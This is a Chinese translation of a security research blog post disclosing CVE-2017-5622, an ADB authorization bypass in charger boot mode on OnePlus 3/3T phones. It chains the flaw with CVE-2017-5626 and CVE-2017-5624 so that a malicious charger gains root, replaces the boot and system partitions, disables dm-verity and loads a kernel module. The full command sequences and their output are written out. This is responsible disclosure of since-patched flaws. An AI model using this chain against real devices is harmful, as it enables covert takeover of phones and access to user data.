CVE-2017-5626的利用方式(在OxygenOS 4.0.2中被修复),这篇文章是一个新的漏洞,允许攻击者有效地解锁OnePlus 3 / 3T设备(不通过出厂设置来恢复)。结合我们还发现了CVE-2017-5624(在OxygenOS 4.0.3中被修复),可以对锁定的设备进行强大的攻击 – 持续高权限的代码执行,而不会对用户发出任何警告并访问用户的数据(受害者进入他的证书)。然而,从攻击者的角度来看,它需要物理接触或ADB对设备的授权访问。
在这篇博文中,我们描述了OnePlus 3 / 3T(OxygenOS 4.0.2及更低版本)中的新的关键漏洞CVE-2017-5622,它可以较少攻击额先决条件。将其与CVE-2017-5626结合使用,如果在关闭电源时接通电源(充电器也可能只会等到电池耗尽)可以让恶意充电器拥有您的设备的root权限。将CVE-2017-5624添加到被利用漏洞的堆栈中也将帮助攻击者修改设备的system
分区。
我们已经很负责任地向OnePlus Security 报告了CVE-2017-5622,后来在上个月发布的OxygenOS 4.0.3中将其修正了。我们要感谢OnePlus Security有效的处理这个关键安全问题。
在我们深入了解技术细节之前,先贴出我们PoC的几个视频演示。
第一个视频介绍了“充电器”如何利用CVE-2017-5622和CVE-2017-5626获得root shell,将SELinux置于permissive模式,甚至执行内核代码:
第二个视频显示“充电器”如何利用CVE-2017-5622,CVE-2017-5624和CVE-2017-5626替换system
分区,以安装特权应用程序。一旦替换完成,设备被篡改时用户不会有任何提示:
当将一台关闭的OnePlus 3 / 3T设备连接到充电器时,charger
引导加载程序使用引导模式,换句话说: ro.bootmode = charger
。这里不能启用任何敏感的USB接口,否则可能会被恶意充电器攻击,这种攻击也被称为Juice- jacking。
令我们惊讶的是,当我们首次连接关闭的OnePlus 3 / 3T设备时,我们注意到我们有ADB接入:
> adb shell android:/ $ id uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0 android:/ $ getprop ro.bootmode charger android:/ $ getprop ro.boot.mode charger android:/ $ getprop | grep -i oxygen [ro.oxygen.version]: [4.0.2] android:/ $
这个状况不会(而且不应该!)发生在将断电的Android设备连接到充电器时,我们很困惑。现在我们有两个的问题:
这个问题的答案在于Android引导过程,在此过程中,init执行boot分区下的多个脚本。通过运行ps,可以看出init是adbd:
android:/ $ ps -x | grep adb shell 444 1 12324 564 poll_sched 0000000000 S /sbin/adbd (u:2, s:10) android:/ $ ps -x |grep init root 1 0 15828 2496 SyS_epoll_ 0000000000 S /init (u:6, s:102)
因此,当系统在引导模式下运行时,一些init脚本指令通过adbd启动charger。看看init.qcom.usb.rc显示如下:
on charger [...] mkdir /dev/usb-ffs/adb 0770 shell shell mount functionfs adb /dev/usb-ffs/adb uid=2000,gid=2000 write /sys/class/android_usb/android0/f_ffs/aliases adb setprop persist.sys.usb.config adb setprop sys.usb.configfs 0 setprop sys.usb.config adb [...]
该on charger
事件被触发,如果ro.bootmode == charger
,则可以从安卓7.1.1的可以看到init.cpp:
[...] std::string bootmode = property_get("ro.bootmode"); if (bootmode == 'charger') { am.QueueEventTrigger('charger'); } else { am.QueueEventTrigger("late-init"); } [...]
因此,sys.usb.config
属性更改为adb
,随后指令init
运行adbd
,下init.usb.rc
:
[...] on property:sys.usb.config=adb && property:sys.usb.configfs=0 write /sys/class/android_usb/android0/enable 0 write /sys/class/android_usb/android0/idVendor 2A70 #VENDOR_EDIT Anderson@, 2016/09/21, modify from 18d1 to 2A70 write /sys/class/android_usb/android0/idProduct 4EE7 write /sys/class/android_usb/android0/functions ${sys.usb.config} write /sys/class/android_usb/android0/enable 1 start adbd setprop sys.usb.state ${sys.usb.config} [...]
为了防止恶意USB端口(例如恶意充电器)针对adbd启用设备,任何尝试获得与未授权设备的ADB会话现在都被阻止。
那么OnePlus 3 / 3T有什么不同?首先,我们来看看AOSP实现adbd。该adbd_main例程显示有一些global标志,auth_required控制ADB授权:
int adbd_main(int server_port) { [...] if (ALLOW_ADBD_NO_AUTH && property_get_bool("ro.adb.secure", 0) == 0) { auth_required = false; } [...]
该Flag随后被handle_new_connection
使用:
static void handle_new_connection(atransport* t, apacket* p) { [...] if (!auth_required) { handle_online(t); send_connect(t); } else { send_auth_request(t); } [...] }
因此,我们可以推断,如果OxygenOS使用adbd,那么ro.adb.secure
将是0
:
android:/ $ getprop ro.adb.secure 1 android:/ $
OnePlus 3 / 3T的OxygenOS包含一个定制的adbd
!由于我们没有源,我们需要看二进制。用IDA进行解码显示:
__int64 sub_400994() { [...] if ( !(unsigned __int8)sub_440798("ro.adb.secure", 0LL) ) auth_required_50E088 = 0; getprop("ro.wandrfmode", &v95, &byte_4D735C); if ( !(unsigned int)strcmp(&v95, &a0_1) || !(unsigned int)strcmp(&v95, &a1_1) || !(unsigned int)strcmp(&v95, &a2) ) auth_required_50E088 = 0; getprop("ro.boot.mode", &v94, &byte_4D735C); if ( !(unsigned int)strcmp(&v94, 'charger') ) auth_required_50E088 = 0; [...] }
我们可以清楚地看到,OnePlus已经定制了AOSP adbd
s. t. ,当系统启动charger
时 auth_required = 0
,(涉及ro.wandrfmode
参考CVE-2017-5623)
那么我们可以如何控制ADB访问?首先,我们应该注意,虽然我们可以获得一个shell,但是我们无法访问用户数据,因为该分区已经被卸载和加密了。然而,我们可以做的只是重新启动进入fastboot
模式reboot bootloader
,然后通过使用CVE-2017-5626替换boot
和/system
或重新分区!为了清楚关于分区修改时用户收到的警告,我们也可以利用CVE-2017-5624。应该注意的是,如果设备的引导程序碰巧被解锁,那么充电器甚至不需要CVE-2017-5626。
提醒一下,CVE-2017-5626(fastboot oem 4F500301
)允许fastboot
解锁设备,无需用户确认即可清除,也不会擦除用户数据。此外,设备在运行此命令后仍会报告被锁定。利用此漏洞只会允许内核代码执行,尽管有5秒警告消息。CVE-2017-5624允许攻击者再次访问fastboot
,例如禁用dm-verity
,防止篡改系统分区的特征。
当受害者关闭设备电源并连接到“充电器”时,攻击开始,该充电器将通过CVE-2017-5622获得ADB会话,并将设备重新启动为fastboot
:
> adb shell android:/ $ id uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0 android:/ $ reboot bootloader > fastboot devices cb010b5a fastboot
通过利用CVE-2017-5626,“充电器”替代了boot
image s.t. adbd
以root
运行,SELinux处于permissive
模式(参见上一篇博文):
> fastboot flash boot evilboot.img target reported max download size of 440401920 bytes sending 'boot' (14836 KB)... OKAY [ 0.335s] writing 'boot'... FAILED (remote: Partition flashing is not allowed) finished. total time: 0.358s > fastboot oem 4F500301 ... OKAY [ 0.020s] finished. total time: 0.021s > fastboot flash boot evilboot.img target reported max download size of 440401920 bytes sending 'boot' (14836 KB)... OKAY [ 0.342s] writing 'boot'... OKAY [ 0.135s] finished. total time: 0.480s
这将会提供给charger一个root shell(但不能访问用户数据!)
OnePlus3:/ # id uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0 OnePlus3:/ # getenforce Permissive
OnePlus 3 / 3T内核使用LKM进行编译,所以运行的内核代码甚至不需要修补/重新编译内核。所以我创建了一个小内核模块:
#include <linux/module.h> #include <linux/kdb.h> int init_module(void) { printk(KERN_ALERT "Hello From Evil LKM\n"); return 1; }
然后而已充电器就可以加载进它的内核:
OnePlus3:/data/local/tmp # insmod ./evil.ko OnePlus3:/data/local/tmp # dmesg | grep "Evil LKM" [19700121_21:09:58.970409]@3 Hello From Evil LKM
这些漏洞可以组合在一起,在SELinux的特权域中进行代码执行,而不会对用户发出任何警告并允许访问原始用户数据。为了证明这一点,我修改了system
分区,添加了一个特权应用程序。这可以通过放置一个APK,/system/priv-app/<APK_DIR>
最终将其添加到priv_app domain
当受害者再次将电源关闭设备连接到“充电器”时,攻击开始,该充电器会通过CVE-2017-5622将获得ADB会话,并将设备重新启动为fastboot
模式:
> adb shell android:/ $ id uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:shell:s0 android:/ $ reboot bootloader > fastboot devices cb010b5a fastboot
通过利用CVE-2017-5626,“”可以用恶意充电器代替system
替换分区:
> fastboot flash system evilsystem.img target reported max download size of 440401920 bytes erasing 'system'... FAILED (remote: Partition erase is not allowed) finished. total time: 0.014s > fastboot oem 4F500301 OKAY [ 0.020s] finished. total time: 0.021s > fastboot flash system evilsystem.img target reported max download size of 440401920 bytes erasing 'system'... OKAY [ 0.010s] ... sending sparse 'system' 7/7 (268486 KB)... OKAY [ 6.748s] writing 'system' 7/7... OKAY [ 3.291s] finished. total time: 122.675s
通过利用CVE-2017-5624,“充电器”可以禁用dm-verity
:
> fastboot oem disable_dm_verity ... OKAY [ 0.034s] finished. total time: 0.036s
事实上app加载了 priv_app
1|OnePlus3:/ $ getprop | grep dm_verity [ro.boot.enable_dm_verity]: [0] OnePlus3:/ $ ps -Z | grep evilapp u:r:priv_app:s0:c512,c768 u0_a16 4764 2200 1716004 74600 SyS_epoll_ 0000000000 S alephresearch.evilapp
一加可以通过删除{persist.}sys.usb.config
事件下on charger
相关部分来修复该漏洞
on charger #yfb add to salve binder error log in poweroff charge setrlimit 13 40 40 setprop sys.usb.config mass_storage mkdir /dev/usb-ffs 0770 shell shell mkdir /dev/usb-ffs/adb 0770 shell shell mount functionfs adb /dev/usb-ffs/adb uid=2000,gid=2000 write /sys/class/android_usb/android0/f_ffs/aliases adb #14(0xe) means reject cpu1 cpu2 cpu3online write /sys/module/msm_thermal/core_control/cpus_offlined 14 #add by [email protected] 2015/12/22, improve the performance of charging write /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor powersave write /sys/devices/system/cpu/cpu1/online 0 write /sys/devices/system/cpu/cpu2/online 0 write /sys/devices/system/cpu/cpu3/online 0 #yfb add to salve binder error log in poweroff charge start srvmag_charger
最后,OnePlus 2还可以在{persist}.sys.usb.config
的on charger
事件下将adb属性设置为init.qcom.usb.rc:
on charger mkdir /dev/usb-ffs 0770 shell shell mkdir /dev/usb-ffs/adb 0770 shell shell mount functionfs adb /dev/usb-ffs/adb uid=2000,gid=2000 write /sys/class/android_usb/android0/f_ffs/aliases adb setprop persist.sys.usb.config adb [...]
And also under init.rc
:
on charger mount ext4 /dev/block/bootdevice/by-name/system /system ro setprop sys.usb.configfs 0 load_system_props class_start charger setprop sys.usb.config adb
这样,当我们连接我们的OnePlus 2设备时,虽然USB接口已经启动并运行adb
,但是我们没有办法得到shell,
*来源:alephsecurity,MottoIN小编编译发布,